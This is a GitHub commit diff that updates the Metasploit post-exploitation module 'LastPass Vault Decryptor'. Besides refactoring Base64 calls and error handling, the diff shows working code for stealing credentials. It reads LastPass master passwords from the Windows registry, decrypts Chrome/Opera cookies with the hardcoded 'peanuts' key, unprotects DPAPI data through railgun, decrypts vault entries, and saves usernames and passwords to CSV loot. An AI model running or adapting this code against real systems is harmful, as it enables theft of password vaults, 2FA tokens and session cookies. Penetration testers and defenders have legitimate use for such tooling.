Skip to content

Commit 080f9e1

Browse files
committed
Merge pull request #4 from wchen-r7/pr6374_update
Update lastpass_creds module
2 parents 348ae58 + 6fb27a3 commit 080f9e1

File tree

1 file changed

+61
-48
lines changed

1 file changed

+61
-48
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 61 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
16
require 'msf/core'
2-
require 'base64'
37
require 'sqlite3'
48
require 'uri'
59
require 'rex'
@@ -11,22 +15,26 @@ class Metasploit3 < Msf::Post
1115
include Msf::Post::Unix
1216

1317
def initialize(info = {})
14-
super(
15-
update_info(
16-
info,
17-
'Name' => 'LastPass Vault Decryptor',
18-
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords',
19-
'License' => MSF_LICENSE,
20-
'Author' => [
18+
super(update_info(info,
19+
'Name' => 'LastPass Vault Decryptor',
20+
'Description' => %q{
21+
This module extracts and decrypts LastPass master login accounts and passwords,
22+
encryption keys, 2FA tokens and all the vault passwords
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
2127
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
2228
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
23-
'Jon Hart <jon_hart[at]rapid7.com' # module rework and cleanup
29+
'Jon Hart' # module rework and cleanup
2430
],
25-
'Platform' => %w(linux osx unix win),
26-
'References' => [['URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it']],
27-
'SessionTypes' => %w(meterpreter shell)
28-
)
29-
)
31+
'Platform' => %w(linux osx unix win),
32+
'References' =>
33+
[
34+
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
35+
],
36+
'SessionTypes' => %w(meterpreter shell)
37+
))
3038
end
3139

3240
def run
@@ -241,7 +249,7 @@ def ie_firefox_credentials(prefs_path, localstorage_db_path)
241249

242250
# Extract master passwords
243251
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
244-
data = Base64.encode64(data) unless data.blank?
252+
data = Rex::Text.encode_base64(data) unless data.blank?
245253
else # Firefox
246254
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
247255
return [] unless loot_path
@@ -278,7 +286,7 @@ def decrypt_data(key, encrypted_data)
278286

279287
if encrypted_data.include?("|") # Use CBC
280288
decipher = OpenSSL::Cipher.new("AES-256-CBC")
281-
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
289+
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
282290
encrypted_data = encrypted_data[26..-1] # Take only the data part
283291
else # Use ECB
284292
decipher = OpenSSL::Cipher.new("AES-256-ECB")
@@ -287,9 +295,9 @@ def decrypt_data(key, encrypted_data)
287295
begin
288296
decipher.decrypt
289297
decipher.key = key
290-
decrypted_data = decipher.update(Base64.decode64(encrypted_data)) + decipher.final
291-
rescue
292-
vprint_error "Data could not be decrypted"
298+
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
299+
rescue OpenSSL::Cipher::CipherError => e
300+
vprint_error "Data could not be decrypted. #{e.message}"
293301
end
294302

295303
decrypted_data
@@ -461,12 +469,12 @@ def extract_vault_keys(account_map)
461469
end
462470

463471
# Decrypt the locally stored vault key
464-
def decrypt_local_vault_key account, browser_map
472+
def decrypt_local_vault_key(account, browser_map)
465473
data = nil
466474
session_cookie_value = nil
467475

468476
browser_map.each_pair do |browser, lp_data|
469-
if browser == "IE"
477+
if browser == "IE" && directory?(lp_data['cookies_db'])
470478
cookies_files = dir(lp_data['cookies_db'])
471479
cookies_files.reject! { |u| %w(. ..).include?(u) }
472480
cookies_files.each do |cookie_jar_file|
@@ -496,8 +504,8 @@ def decrypt_local_vault_key account, browser_map
496504
db = SQLite3::Database.new(loot_path)
497505
begin
498506
result = db.execute(query)
499-
rescue
500-
vprint_error "No session cookie was found in #{account}'s #{browser}"
507+
rescue SQLite3::SQLException => e
508+
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
501509
next
502510
end
503511
next if result.blank? # No session cookie found for this browser
@@ -506,18 +514,18 @@ def decrypt_local_vault_key account, browser_map
506514
return if session_cookie_value.blank?
507515

508516
# Check if cookie value needs to be decrypted
509-
if Base64.encode64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
510-
session_cookie_value = windows_unprotect(Base64.encode64(session_cookie_value))
517+
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
518+
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
511519
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
512-
decipher = OpenSSL::Cipher.new("AES-256-CBC")
513-
decipher.decrypt
514-
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
515-
decipher.iv = " " * 16
516-
session_cookie_value = session_cookie_value[3..-1] # Discard v10
517520
begin
521+
decipher = OpenSSL::Cipher.new("AES-256-CBC")
522+
decipher.decrypt
523+
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
524+
decipher.iv = " " * 16
525+
session_cookie_value = session_cookie_value[3..-1] # Discard v10
518526
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
519-
rescue
520-
print_error "Cookie could not be decrypted"
527+
rescue OpenSSL::Cipher::CipherError => e
528+
print_error "Cookie could not be decrypted. #{e.message}"
521529
end
522530
end
523531

@@ -625,7 +633,7 @@ def pbkdf2(password, salt, iterations, key_length)
625633
end
626634

627635
def windows_unprotect(data)
628-
data = Base64.decode64(data)
636+
data = Rex::Text.decode_base64(data)
629637
rg = session.railgun
630638
pid = session.sys.process.getpid
631639
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
@@ -675,7 +683,7 @@ def print_vault_passwords(account_map)
675683
end
676684

677685
# Parse vault
678-
vault = Base64.decode64(encoded_vault)
686+
vault = Rex::Text.decode_base64(encoded_vault)
679687
vault.scan(/ACCT/) do |result|
680688
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
681689
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
@@ -684,7 +692,11 @@ def print_vault_passwords(account_map)
684692
end
685693

686694
unless account_map.empty? # Loot passwords
687-
print_good lastpass_vault_data_table.to_s
695+
if lastpass_vault_data_table.rows.empty?
696+
print_status('No decrypted vaults.')
697+
else
698+
print_good lastpass_vault_data_table.to_s
699+
end
688700
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
689701
end
690702
end
@@ -697,18 +709,19 @@ def parse_vault_account(chunk, vault_key)
697709
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
698710
vault_data = []
699711
for label in labels
700-
begin
701-
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
702-
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
703-
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
704-
decrypted_data = "" if decrypted_data.nil?
705-
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
706-
pointer = pointer + 4 + length
707-
rescue
708-
vprint_error "Vault account could not be parsed"
712+
if chunk[pointer..pointer + 3].nil?
713+
# Out of bound read
709714
return nil
710715
end
716+
717+
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
718+
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
719+
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
720+
decrypted_data = "" if decrypted_data.nil?
721+
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
722+
pointer = pointer + 4 + length
711723
end
724+
712725
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
713726
end
714727

@@ -727,8 +740,8 @@ def decrypt_vault_password(key, encrypted_data)
727740

728741
begin
729742
return decipher.update(encrypted_data) + decipher.final
730-
rescue
731-
vprint_error "Vault password could not be decrypted"
743+
rescue OpenSSL::Cipher::CipherError
744+
vprint_error "Vault password could not be decrypted with key #{key}"
732745
return nil
733746
end
734747
end
@@ -768,8 +781,8 @@ def read_registry_key_value(key, value)
768781
return nil unless reg_key
769782
reg_value = reg_key.query_value(value)
770783
return nil unless reg_value
771-
rescue
772-
vprint_error "Error reading registry key #{key} and value #{value}"
784+
rescue Rex::Post::Meterpreter::RequestError => e
785+
vprint_error("#{e.message} (#{key}\\#{value})")
773786
end
774787
reg_key.close if reg_key
775788
return reg_value.blank? ? nil : reg_value.data

0 commit comments

Comments
 (0)